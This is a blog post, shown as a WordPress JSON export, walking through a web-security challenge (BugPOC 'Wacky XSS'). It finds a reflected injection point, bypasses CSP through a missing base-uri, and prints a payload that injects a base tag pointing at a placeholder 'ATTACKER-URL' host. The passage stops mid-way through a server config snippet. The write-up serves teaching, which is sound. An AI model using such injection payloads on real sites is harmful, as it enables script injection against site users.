{"id":100,"date":"2023-01-14T14:47:58","date_gmt":"2023-01-14T14:47:58","guid":{"rendered":"https:\/\/thered0ne.com\/?p=100"},"modified":"2025-12-29T19:40:39","modified_gmt":"2025-12-29T19:40:39","slug":"bugpoc-challenge-4-wacky-xss","status":"publish","type":"post","link":"https:\/\/thered0ne.com\/?p=100","title":{"rendered":"BugPOC Challenge #4 &#8211; Wacky XSS"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"527\" height=\"472\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-64.png\" alt=\"\" class=\"wp-image-146\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-64.png 527w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-64-300x269.png 300w\" sizes=\"auto, (max-width: 527px) 100vw, 527px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">$ Introduction:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here we are again !! BugPOC team doesn&#8217;t stop impressing us by their commitment. Last time, we dealt with a local file inclusion (LFI). This time, a new XSS challenge made with love. This one is close enough to the real world of bug bounty, and it&#8217;s worth it. A place where you could step up your game. Without further ado, let&#8217;s go straightaway to the challenge.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Goals:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">We have to fire a popup showing &#8221;&nbsp;<strong>Wacky.buggywebsite.com<\/strong>&#8221; and to achieve that goal we will use these techniques during the challenge:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1- Find the reflection point in the website<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2- Bypass CSP (Content-security-policy).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3- DOM Clobbering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4- Escape iFrame Sandbox.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Wacky website:<\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"639\" height=\"578\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-32.png\" alt=\"\" class=\"wp-image-102\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-32.png 639w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-32-300x271.png 300w\" sizes=\"auto, (max-width: 639px) 100vw, 639px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">At first glance, we could see that there are two sections, in this page:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1- A text input with a submit button.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2- An iFrame that serves as an output for our text.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s look at the source code to understand how it works:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"629\" height=\"640\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-33.png\" alt=\"\" class=\"wp-image-103\" style=\"width:877px;height:892px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-33.png 629w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-33-295x300.png 295w\" sizes=\"auto, (max-width: 629px) 100vw, 629px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The &#8221;&nbsp;<strong>index<\/strong>&#8221; page does contain a call to another page called &#8221;&nbsp;<strong>frame.html<\/strong>&#8221; which takes our input and process it.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"937\" height=\"928\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-34.png\" alt=\"\" class=\"wp-image-104\" style=\"width:877px;height:868px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-34.png 937w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-34-300x297.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-34-150x150.png 150w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-34-768x761.png 768w\" sizes=\"auto, (max-width: 937px) 100vw, 937px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">In the red box, we can see the function &#8221;&nbsp;<strong>makeRandom<\/strong>&#8221; which is responsible for changing our input given to the &#8221;&nbsp;<strong>frame.html<\/strong>&#8221; page. Maybe you&#8217;re saying that the vulnerable part in this page is the &#8221;&nbsp;<strong>innerHTML<\/strong>&#8221; at the end of the first loop.&nbsp;It&#8217;s not !! Take a closer look if you want, each character is taken and put between a span tag to change its rendering, there&#8217;s no way to exploit that function.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the blue box, there are all the magical stuff that doesn&#8217;t allow you to execute your Javascript. We will get back to that soon.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, if the &#8221;&nbsp;<strong>makeRandom<\/strong>&#8221; function is not the vulnerable entry, where is it then ?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To be sure of that, we have to check if our input is reflected somewhere in the page, and I did find two places where there are a reflection:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"931\" height=\"473\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-35.png\" alt=\"\" class=\"wp-image-105\" style=\"width:854px;height:433px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-35.png 931w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-35-300x152.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-35-768x390.png 768w\" sizes=\"auto, (max-width: 931px) 100vw, 931px\" \/><\/figure>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"922\" height=\"418\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-36.png\" alt=\"\" class=\"wp-image-106\" style=\"width:825px;height:373px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-36.png 922w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-36-300x136.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-36-768x348.png 768w\" sizes=\"auto, (max-width: 922px) 100vw, 922px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">To know the vulnerable point from these two code sections, all we have to do is to inject some html tags in the input and see which code part does sanitize\/escape the html tags and which does not &#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To try that out, we have to find a way to pass our payload to &#8221;&nbsp;<strong>frame.html<\/strong>&#8221; page, since the special characters are forbidden&nbsp;<strong>[&amp;%&lt; &gt;]&nbsp;<\/strong>and deleted dynamically&nbsp;by the &#8221;&nbsp;<strong>script.js<\/strong>&#8221; file in the main page. (See below images)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"934\" height=\"167\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-37.png\" alt=\"\" class=\"wp-image-107\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-37.png 934w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-37-300x54.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-37-768x137.png 768w\" sizes=\"auto, (max-width: 934px) 100vw, 934px\" \/><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"936\" height=\"264\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-38.png\" alt=\"\" class=\"wp-image-108\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-38.png 936w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-38-300x85.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-38-768x217.png 768w\" sizes=\"auto, (max-width: 936px) 100vw, 936px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">So, let&#8217;s use the console tab in&nbsp;<strong>&#8220;developer mode&#8221;<\/strong>&nbsp;and make a redirection to &#8221;&nbsp;<strong>frame.html<\/strong>&#8221; page like this:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"233\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-39.png\" alt=\"\" class=\"wp-image-109\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-39.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-39-300x109.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The page doesn&#8217;t allow us to send content to the &#8221;&nbsp;<strong>iframe<\/strong>&#8220;. Interesting, let&#8217;s go back and check the code:&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"892\" height=\"610\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-40.png\" alt=\"\" class=\"wp-image-110\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-40.png 892w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-40-300x205.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-40-768x525.png 768w\" sizes=\"auto, (max-width: 892px) 100vw, 892px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">As you can see, the &#8221;&nbsp;<strong>window.name<\/strong>&#8221; has to be equal to &#8221;&nbsp;<strong>iframe<\/strong>&#8221; or an error message is written in the&nbsp;<strong>iframe&nbsp;<\/strong>body.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There is a technique I&#8217;ve seen recently on a Youtube video from&nbsp;&nbsp;&nbsp;<strong><a href=\"https:\/\/www.youtube.com\/watch?v=L1RvK1443Yw\" target=\"_blank\" rel=\"noreferrer noopener\">LiveOverflow<\/a>&nbsp;<\/strong>. By the way, I recommend to subscribe to this channel, you won&#8217;t regret it \u270c\ud83d\ude09&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The guy is explaining the role of &#8221;&nbsp;<strong>window.name&#8221;<\/strong>&nbsp;variable and what&#8217;s special about it.&nbsp;He added:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote has-text-align-center is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><\/p>\n<cite><em>The &#8220;window.name&#8221; property gets\/sets the name of window&#8217;s browsing context<\/em><\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">The browsing context is the window tab. This allows the &#8221;&nbsp;<strong>window.name<\/strong>&#8221;&nbsp;to persist across websites in the same window tab. So, setting &#8221;&nbsp;<strong>window.name<\/strong>&#8221; to &#8221;&nbsp;<strong>iframe<\/strong>&#8221; and going to another website (which will be &#8221;&nbsp;<a href=\"http:\/\/wacky.buggywebsite.com\/\">wacky.buggywebsite.com<\/a>&#8220;), the value of the variable will persist and will allow us to pass the first check.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"211\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-41-1024x211.png\" alt=\"\" class=\"wp-image-111\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-41-1024x211.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-41-300x62.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-41-768x158.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-41.png 1255w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The second thing that we can see in the above image is our reflected payload &#8221;&nbsp;<strong>XSS Challenge<\/strong>&#8220;. Let&#8217;s see where is exactly not escaped:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"155\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-47-1024x155.png\" alt=\"\" class=\"wp-image-118\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-47-1024x155.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-47-300x45.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-47-768x116.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-47.png 1049w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"154\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/tempsnip10-1024x154.png\" alt=\"\" class=\"wp-image-117\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/tempsnip10-1024x154.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/tempsnip10-300x45.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/tempsnip10-768x116.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/tempsnip10.png 1043w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"161\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-48-1024x161.png\" alt=\"\" class=\"wp-image-119\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-48-1024x161.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-48-300x47.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-48-768x121.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-48.png 1041w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">From the above two images, we conclude that the entry point to our XSS is in the head section and especially&nbsp; the title tag.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ CSP Bypass:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before we go blindly and try to execute an inline Javascript, maybe we have to check first&nbsp;the CSP applied to the website by vising&nbsp;&nbsp;<a href=\"https:\/\/report-uri.com\/home\/analyse\">https:\/\/csp-evaluator.withgoogle.com\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"991\" height=\"479\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-49.png\" alt=\"\" class=\"wp-image-120\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-49.png 991w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-49-300x145.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-49-768x371.png 768w\" sizes=\"auto, (max-width: 991px) 100vw, 991px\" \/><figcaption class=\"wp-element-caption\">The &#8221;&nbsp;<strong>script-src<\/strong>&#8220;, &#8221;&nbsp;<strong>frame-src<\/strong>&#8221; are activated, which means that inline Javascript and external URLs are not permitted. However, we can see clearly &#8221;&nbsp;<strong>base-uri<\/strong>&nbsp;&#8221; is missing. The description made by the CSP evaluator is explicit:<\/figcaption><\/figure>\n\n\n\n<blockquote class=\"wp-block-quote has-text-align-center is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><\/p>\n<cite><em>Missing &#8220;base-uri&#8221; allows the injection of base tags. They can be used to set the base URL for all relative (scripts).<\/em><\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">That&#8217;s a good news. So, if we could inject BASE tag, we could hijack all relative URLs scripts present on the page. By Searching for local scripts used in the &#8221;&nbsp;<strong>frame.html<\/strong>&#8220;, I found just one:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"558\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-50-1024x558.png\" alt=\"\" class=\"wp-image-121\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-50-1024x558.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-50-300x163.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-50-768x418.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-50.png 1041w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">All we have to do now, is to inject in the &#8221;&nbsp;<strong>frame.html<\/strong>&#8221; a BASE tag that will point all relative scripts URLs to our controlled server. So, let&#8217;s try to call our script.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Funny fact:<\/strong>&nbsp;The reason behind why I chose particularly the image put in the title is by seeing this BugPOC third hint;&nbsp;<strong>&nbsp;t<\/strong>hat was a funny unique hint \ud83d\ude02<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"320\" height=\"235\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-51.png\" alt=\"\" class=\"wp-image-122\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-51.png 320w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-51-300x220.png 300w\" sizes=\"auto, (max-width: 320px) 100vw, 320px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">First, we have to create the same file with the same path in our server. See the image below:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"631\" height=\"482\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-52.png\" alt=\"\" class=\"wp-image-123\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-52.png 631w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-52-300x229.png 300w\" sizes=\"auto, (max-width: 631px) 100vw, 631px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The &#8221;&nbsp;<strong>frame-analytics.js<\/strong>&#8221; file contains this line of code:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>console.log(\"I'm being executed\");<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">console.<\/span><span style=\"color: #A6E22E\">log<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;I&#39;m being executed&quot;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Going back to the browser console, our payload will be like the following:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>window.name = \"iframe\"; \nwindow.location = 'https:\/\/wacky.buggywebsite.com\/frame.html?param=&lt;\/title>&lt;base href=\"https:\/\/ATTACKER-URL\/\" \/>';<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">window.name <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&quot;iframe&quot;<\/span><span style=\"color: #F8F8F2\">; <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">window.location <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;https:\/\/wacky.buggywebsite.com\/frame.html?param=&lt;\/title&gt;&lt;base href=&quot;https:\/\/ATTACKER-URL\/&quot; \/&gt;&#39;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">By executing that Javascript, the server throws a CSP error saying:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"112\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-53-1024x112.png\" alt=\"\" class=\"wp-image-124\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-53-1024x112.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-53-300x33.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-53-768x84.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-53.png 1354w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">On the other hand, our BASE Tag is injected successfully.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"157\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-54-1024x157.png\" alt=\"\" class=\"wp-image-125\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-54-1024x157.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-54-300x46.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-54-768x118.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-54.png 1120w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The CSP error is telling us that our server doesn&#8217;t respond with &#8221;&nbsp;<strong>Access-Control-Allow-Origin&nbsp;&#8220;.&nbsp;&nbsp;<\/strong>&nbsp;Okay, to resolve that,&nbsp; we have to force the controlled server to return the &#8221;&nbsp;<strong>Access-Control-Allow-Origin: https:\/\/wacky.bugywebsite.com&nbsp;<\/strong>&#8221; in the response header. That way, the server requesting the resource will know that it could download and add the content of the file.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You could do that by just using BugPOC Mock Endpoint. In my case, I did that by editing my &#8221;&nbsp;<strong>.htaccess&#8221;<\/strong>&nbsp;in my controlled server:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>Header add Access-Control-Allow-Origin: 